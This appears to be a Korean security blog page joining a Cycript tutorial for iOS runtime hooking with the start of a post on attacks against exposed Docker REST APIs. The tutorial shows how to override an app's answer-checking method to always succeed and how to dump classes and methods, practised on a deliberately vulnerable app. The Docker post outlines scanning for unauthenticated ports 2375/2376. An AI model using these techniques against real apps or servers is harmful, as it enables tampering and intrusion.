view의 계층을 출력하여준다. NSLog로 출력하여 큰 화면으로 보면 아래와 같이 이쁘게 보인다.

 

 

2-2) subviews()

ex) UIApp.keyWindow.subviews()[index]

 

window는 하나 이상의 view를 가지며, view 역시 하나 이상의 view의 집합이다. 각 하위 view들의 접근은 subviews()[index]의 형태로 접근 가능하고, 2-1에서 확인한 계층을 참조하여 각 요소들을 찾을 수 있다.

 

 

2-3) _viewDelegate()

ex) UIApp.keyWindow.subviews()[2].subviews()[0]._viewDelegate()

 

_viewDelegate를 이용하여 해당 view의 controller에 접근 가능하다.

 

2-4) replacing existing objective-C methods

ex) Game2ViewController.prototype['recognizeAnswer'] 

= function() { NSLog(@"[JSACH]HOOKED"); return 1;}

 
target ViewController를 찾아 prototype배열에 후킹할 method에 접근하여 위와 같이 재정의해줌으로써 replacing가능함

 

 

참고) Cycript에서 사용하는 API나 문법, Trick들이 정리되어있는 링크

 

 - iOS Tricks

     http://iphonedevwiki.net/index.php/Cycript_Tricks

 

 - Cycript공식 홈페이지

http://www.cycript.org/

 

참고로 이 글은 Cycript 0.9.594버전을 기준으로 작성을 하였다.

 

 

3. 결과

 

3-1) 메서드 재정의

 

1
Game2ViewController.prototype['recognizeAnswer'= function() { NSLog(@"[JSBACH]HOOKED"); NSLog(@"[JSBACH] return SUCCESSED"); return 1;}
 

 

 

 

3-2) 메서드 후킹 로그

 

3-3) 후킹 성공 결과

 

 

------------------

 

cyrun을 이용하면 ios 12에서도 cycript 사용이 가능.

 

- Cycript 및 Cyrun 설치 및 구동

wget http://apt.saurik.com/debs/cycript_0.9.594_iphoneos-arm.deb

wget http://www.tateu.net/repo/files/net.tateu.cycriptlistenertweak_1.0.0_iphoneos-arm.deb

wget http://www.tateu.net/repo/files/net.tateu.cyrun_1.0.5_iphoneos-arm.deb

dpkg -i cycript_0.9.594_iphoneos-arm.deb

dpkg -i net.tateu.cycriptlistenertweak_1.0.0_iphoneos-arm.deb net.tateu.cyrun_1.0.5_iphoneos-arm.deb

 

cyrun -n <AppName on home icon> -e -d 또는

cyrun -b <AppBundleID> -e -d

 

- Bundle ID, Bundle DisplayName, Bundle ExecutableName 확인

NSBundle.mainBundle.infoDictionary.allKeys()

NSBundle.mainBundle.infoDictionary.CFBundleName

NSBundle.mainBundle.infoDictionary.CFBundleIdentifier

NSBundle.mainBundle.infoDictionary.CFBundleDisplayName

 

 

- View 계층 확인

UIApp.keyWindow.rootViewController    // root view controller 확인

UIApp.keyWindow.rootViewController._printHierachy().toString()

UIApp.keyWindow.recursiveDescription().toString()

UIApp.keyWindow._autolayoutTrace.toString()    // simplified recursiveDescription

 

 

- subviews 확인

UIApp.keyWindow.subviews()    // keyWindow의 subviews 확인. 아래 예시는 #으로 구분되는 2개의 subviews를 가지고 있음

#주소.subviews()    // 특정 주소값을 가지는 view의 subviews 확인. 아래 예시는 #으로 구분되는 1개의 subview를 가지고 있음

UIApp.keyWindow.subvies()[index]._viewDelegate()    // 해당 뷰를 담당하는 controller 출력. 아래 예시는 keyWindow의 첫번째 subview를 담당하는 controller가 UIApplicationRotationFollowingController 임을 나타냄.

 

 

- 상태표시줄 숨기기 / 표시하기(안되는 경우가 많음)

[[UIApplication SharedApplication] setStatusBarHidden:YES]

[[UIApplication SharedApplication] setStatusBarHidden:NO]

 

 

- 아이콘 badge number 조작(안되는 경우가 많음)

var a = [UIApplication sharedApplication]

[a setApplicationIconBadgeNumber:100];

 

 

- Print Methods

(1) printMethods 함수 만들어서 수행

// Usage:
// for InstanceMethods: printMethods('className')
// for ClassMethods: printMethods('className', true)
function printMethods(className, isa) {
  var count = new new Type("I");
  var classObj = (isa != undefined) ? objc_getClass(className)->isa :
  objc_getClass(className);
  var methods = class_copyMethodList(classObj, count);
  var methodsArray = [];
  for(var i = 0; i < *count; i++) {
  var method = methods[i];
  methodsArray.push({selector:method_getName(method),
  implementation:method_getImplementation(method)});
  }
  free(methods);
  return methodsArray;
}

==> 실행결과(DVIA-v2 앱에 대해서 test)

출력된 결과는 보기 힘드니, Online Javascript Beautifier를 활용(ex.  https://beautifier.io/).

 

(2) _methodDescription() 메서드 활용

UIApp.keyWindow.rootViewController._printHierachy() 명령어로 뷰 계층 확인 후 관심 클래스의 주소값에 대하여 다음 명령어 수행

#<주소값>._methodDescription().toString()    // 이 방법의 경우 알고자 하는 클래스의 method 뿐만 아니라 다른 클래스의 메서드들도 출력해주다보니 쓸모없는 정보들이 너무 많이 출력됨

 

 

- Print Current ViewController

function currentVC() {
  var app = [UIApplication sharedApplication]
  var keyWindow = app.keyWindow
  var rootController = keyWindow.rootViewController
  var visibleController = rootController.visibleViewController
  if (!visibleController){
  return rootController
  }
  return visibleController.childViewControllers[0]
}

==> 실행결과

 

※ 출처

https://bachs.tistory.com/entry/iOS-Hooking3Cycript

https://sevencho.github.io/archives/c12f47b1.html

https://gist.github.com/laprasdrum/667213ab364ef2536a30f3bdb79c77bb

http://nullgirl.com/blog/2018/03/20/iOS%E9%80%86%E5%90%91%E4%B8%8E%E5%AE%89%E5%85%A8-Cycript%E8%84%9A%E6%9C%AC%E4%BD%BF%E7%94%A8/

https://ileeyj.tistory.com/257

 

 

'경로 및 정보' 카테고리의 다른 글

DNS Cache Poisoning 공격  (0) 2022.10.14
chromium-browser  (0) 2022.10.12
Docker 2375/2376  (0) 2022.10.07
jenkins RCE  (0) 2022.10.07
Cisco Smart Install Client 취약점  (0) 2022.10.06
블로그 이미지

wtdsoul

,

Docker 2375/2376

경로 및 정보 2022. 10. 7. 14:20

해커, 도커도 뚫었다 – ㈜소프트이천 (soft2000.com)

 

해커, 도커도 뚫었다

지난 월간안 4월호 ‘클라우드 환경을 노리는 7가지 위협’를 통해 취약한 도커 환경을 노리는 공격이 증가하고 있음을 설명한 바 있다. 그리고 클라우드 도입과 함께 도커 활용이 계속 늘어남

www.soft2000.com

 

최근 클라우드 도입이 증가하면서 많은 시스템들이 가상화 기술을 사용하고 있다. 일반적으로 잘 알려진 가상화 기술 ‘하이퍼바이저(Hypervisor)’는 애플리케이션과 라이브러리를 격리시킬 수 있다. 하지만, 운영체제(OS) 뿐만 아니라 하드웨어 스택 부분도 가상화 시키기 때문에 메모리, CPU 등 자원을 많이 소모한다. 반면 ‘도커(Docker)’는 애플리케이션과 라이브러리를 패키지(컨테이너)로 묶어 리눅스 컨테이너(LinuX Containers: LXC)’로 리소스가 적게 드는 격리 환경을 만들 수 있다.

 

또한 도커는 애플리케이션을 쉽게 빌드(Build), 테스트(Test), 및 배포(Deploy) 할 수 있어 ‘데브옵스(Devops)’에 최적화되어 있는 오픈 소스 도구라 할 수 있다. 이에, 많은 기업들이 도커를 활용해 데브옵스 환경을 구축하고 있다.

 

도커를 타겟으로 한 악성코드

최근, 많은 서버들이 도커로 구성되면서 이를 타겟으로 한 공격도 증가하고 있다. 특히, 여러 공격 중에서도 ‘Docker REST API’를 이용한 공격이 급증하고 있다. 실제로 도커 관련 서버들의 침해 사례들을 보면 공격자들이 ‘Docker REST API’를 이용해 악성코드를 배포하고 있다. 그리고, 배포된 악성코드에는 취약한 Docker REST API 설정의 서버를 대상으로 측면 이동(Lateral Movement) 기능이 포함되어 기존 SSH 봇넷 악성코드처럼 공격이 확산되고 있다.

 

 

 

본 문서에서 언급하는 ‘취약한 Docker REST API 설정을 가진 서버’는 인증 및 접근 제한없이 원격 환경에서 ‘도커 이미지(Docker Image)’와 ‘도커 컨테이너(Docker Container)’를 관리하는 REST API를 사용할 수 있는 서버를 말한다.

 

취약한 Docker REST API 서버는 HTTP Request(Port:2375/2376)에 대한 HTTP Response({"message":"page not found"})를 통해 Docker REST API 서버를 탐지할 수 있다. 따라서, 격자는 [그림 2]와 같이 무작위 스캐닝을 수행해 취약한 Docker REST API 서버를 탐지한다.

 

 

 

공격자는 취약한 Docker REST API 서버를 알아낸 다음 Docker REST API를 통해 기존 도커 컨테이너에 악성코드를 실행시키거나 새로운 악성 도커 이미지를 다운로드 받아 실행시킨다.

 

 

 

특히, 공격자는 직접 포트 스캔을 하지 않고도 ‘쇼단(SHODAN)’과 같은 오신트(OSINT: 오픈소스 인텔리전스의 줄임말)를 이용해 Docker REST API 설정이 취약한 서버를 쉽게 찾을 수 있다. 이러한 방식으로 배포되는 악성코드는 대표적으로 6가지 종류가 있으며, 그 히스토리는 아래와 같다.

 

 

이번 글에서는 위 악성코드 6개 중 ‘Kinsing’, ‘Xanthe’, ‘KaijiDDoS’에 대해 소개한다.

 

'경로 및 정보' 카테고리의 다른 글

chromium-browser  (0) 2022.10.12
Cycript 도구  (0) 2022.10.11
jenkins RCE  (0) 2022.10.07
Cisco Smart Install Client 취약점  (0) 2022.10.06
SSTI  (0) 2022.09.28
블로그 이미지

wtdsoul

,